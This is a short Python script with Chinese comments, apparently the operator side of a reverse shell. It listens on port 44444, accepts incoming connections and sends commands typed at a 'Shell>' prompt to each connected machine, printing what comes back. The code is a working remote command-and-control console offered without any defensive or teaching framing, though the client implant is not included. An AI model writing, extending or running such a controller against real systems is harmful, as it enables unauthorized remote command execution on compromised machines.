import socket
import threading


def reliable_recv(sock):
    """原子化数据接收"""
    buffer = b''
    while True:
        try:
            chunk = sock.recv(4096)
            if not chunk: break
            buffer += chunk
            if buffer.endswith(b'<END>'):
                return buffer[:-5]  # 返回去除结束符的数据
        except:
            break
    return b''


def response_handler(sock):
    """独立响应处理线程"""
    while True:
        try:
            response = reliable_recv(sock)
            if response:
                print("\n[响应]", response.decode('utf-8', 'ignore'))
                print("Shell> ", end='', flush=True)  # 保持提示符可见
        except:
            break


def command_interface(client_sock):
    """命令输入与连接管理"""
    try:
        # 启动响应监听线程
        threading.Thread(target=response_handler, args=(client_sock,), daemon=True).start()

        while True:
            cmd = input("Shell> ").strip()
            if not cmd:
                continue

            # 发送命令
            try:
                client_sock.sendall(cmd.encode() + b'<END>')
            except:
                print("发送失败，连接可能已中断")
                break

            if cmd.lower() == 'exit':
                break

    finally:
        client_sock.close()
        print("连接已关闭")


def main():
    server = socket.socket()
    server.bind(('0.0.0.0', 44444))
    server.listen(5)
    print("[*] 服务端已启动，等待连接...")

    while True:
        client, addr = server.accept()
        print(f"\n[+] 新连接来自: {addr}")
        try:
            command_interface(client)
        except Exception as e:
            print(f"连接错误: {str(e)}")
        finally:
            print("[*] 等待新连接...")


if __name__ == '__main__':
    main()